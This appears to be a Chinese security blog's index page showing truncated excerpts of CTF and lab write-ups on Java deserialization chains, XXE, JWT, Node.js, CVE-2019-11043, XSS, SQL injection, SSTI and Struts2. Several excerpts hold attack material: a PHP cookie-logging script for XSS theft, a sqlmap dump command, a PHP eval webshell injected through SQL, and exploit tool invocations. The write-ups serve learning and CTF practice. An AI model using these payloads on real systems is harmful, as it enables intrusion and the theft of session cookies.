什么是CC链CC(Common Collections)是Java中常用的集合框架之一,它提供了一组常见的容器类,如ArrayList、HashMap等。然而,CC链(CC chain)是指利用Common Collections框架中的漏洞来构建的一种攻击链。 CC1 https://www.bilibili.com/video/BV1no4y1U7E1?t=690.4 java版本:8u65既然都是cc链了,肯定要有cc依赖,cc版本是3.2.1 依赖: 12345678<dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> ...
前言学习视频从这里开始看: 第一部分:https://www.bilibili.com/video/BV16h411z7o9?t=1105.7&p=2 第二部分:https://www.bilibili.com/video/BV16h411z7o9?t=1180.1 快捷键这里有几个快捷键,可以记忆一下。比如说查看结构:alt+7查看层次结构:ctrl + H URLDNS 链子构建代码分析URL有继承Serializable就证明他是可以被序列化的:而且需要使用一个较为常见的函数hashCode:调用了handler的hashCode函数,其中的getHostAddress就会对域名进行解析,然后就可以利用。dnslog生成一个网址来测试。 123456789101112131415161718192021import java.io.*;import java.net.URL;import java.util.HashMap;public class URLDNS { static String tarURL = "http://qdgj5w.dnsl ...
知识了解 可以参考这个:https://blog.csdn.net/hk41666/article/details/125832666https://blog.csdn.net/weixin_44420143/article/details/118721145 XXE(XML外部实体注入)是一种针对XML文档的攻击方式,能够使攻击者利用XML解析器的漏洞读取本地文件或者远程请求。XXE攻击的原理是: XML文档可以包含DOCTYPE定义,里面可以引用外部实体。 XML解析器在解析文档时,会根据DOCTYPE中的引用去获取外部资源。 攻击者可以构造恶意的外部实体引用,让解析器去读取本地文件,或者发起请求到内网服务器。 如果解析器没有禁用外部实体的加载,就可能导致文件内容泄露或远程代码执行。 XXE攻击的危害包括: 读取系统敏感文件,如/etc/passwd 利用文件协议读取本地文件 端口扫描、对内网网站进行攻击 攻击内网应用、数据库 执行远程代码,调用恶意脚本 防范XXE攻击的方法: 对不可信XML输入进行验证,过滤….\等威 ...
知识 https://xz.aliyun.com/t/2338 jwt格式如下: 1header.payload.signature Header 通常由两部分组成:token类型和哈希算法,例如: 1{"typ": "JWT", "alg": "HS256"} Payload 负载,存放有效信息的地方,比如用户ID,用户名等。它也可以存放私有数据。 Signature 签名,是对前两部分数据签名,防止数据篡改。它由 header 和 payload 使用算法生成,例如 HMAC-SHA256。 12345678标准中注册的声明 (建议但不强制使用) # iss: jwt签发者# sub: jwt所面向的用户# aud: 接收jwt的一方# exp: jwt的过期时间,这个过期时间必须要大于签发时间# nbf: 定义在什么时间之前,该jwt都是不可用的# iat: jwt的签发时间# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击 web345 ...
题前准备简单了解下node.js,我对他的了解就是写过一点点的electron,然后就是老用npm来补网易云的一些插件XD。语言特性了解: https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/ 后面几个重量级的暂时先学会利用,等语言熟悉了再跟着复现。 web334文件读取,rce拼接bypass下载并解压相关代码: 12345module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ]}; 尝试登录:注意不要抄大写!登录之后就有flag了。 123return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && it ...
web311CVE-2019-11043远程代码执行漏洞抓包,版本7.1.33。这个复现得需要go环境,装一下:sudo apt install golang 123git clone https://github.com/neex/phuip-fpizdam.gitcd phuip-fpizdamgo get -v && go build 执行go get -v && go build会一直没反应因为go proxy默认为proxy.golang.org,国内无法访问执行命令换代理:go env -w GOPROXY=https://goproxy.cn再次执行go get -v && go build最后使用: 1go run . "地址/index.php" 末尾的index.php必须要加。我再本地搭的用不了,拿vps打了一下就能用了。 1234567891011root@hcss-ecs-8320:~/phui/phuip-fpizdam# go run . "http://24f960a ...
提前准备准备几个XSS注入网站:如https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接当然,除此之外,也可以自己编写: 123456<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);?> web316后台bot会自动访问你的连接,我们只需要写一段恶意XSS内容即可。这里用https://xss.pt/进行复现。注册好后,创建项目之后,把获取cookie添加上。好像抓到的是自己🤔。那就试一试写在自己的VPS上。 123456<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n ...
web301-302上来就是登录页面,看了代码发现没有过滤,尝试使用sqlmap直接开注入。 1$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; 1sqlmap -u http://e870d81c-dd88-4dc4-b990-760221d286bb.challenge.ctf.show/checklogin.php --data 'userid=1&userpwd=1' -D sds -C sds_password --dump --batch 看看密码,sqlmap这个必须盲注,只盲了密码,猜账号为admin。登陆成功。但是登录进入之后没啥用,似乎得写入shell。之前还真没怎么用过sql写文件,这里记一下: 1userid=1'+union select "<?php eval($_POST[1]);?>&quo ...
本文中所有{ {、{ %,其余同理中本来应该没有空格,但是由于与Nunjunks语法碰撞,因此修改。 https://blog.csdn.net/q20010619/article/details/120493997 代码块: 1234变量块 { {} } 用于将表达式打印到模板输出注释块 {##} 注释控制块 { %% } 可以声明变量,也可以执行语句行声明 ## 可以有和{ %% }相同的效果 常用方法: 12345678910111213141516171819202122232425262728__class__ 查看对象所在的类__mro__ 查看继承关系和调用顺序,返回元组__base__ 返回基类__bases__ 返回基类元组__subclasses__() 返回子类列表__init__ 调用初始化函数,可以用来跳到__globals____global ...
https://blog.csdn.net/q20010619/article/details/120729447 这里面的漏洞都是struts2漏洞,使用建议下载Struts2scan工具辅助学习。 https://github.com/HatBoy/Struts2-Scan.githttps://github.com/shack2/Struts2VulsTools 通过页面回显的错误消息来判断,页面不回显错误消息时则无效 通过网页后缀来判断,如.do .action,有可能不准 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的 如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true web279 https://www.freebuf.com/column/224041.h ...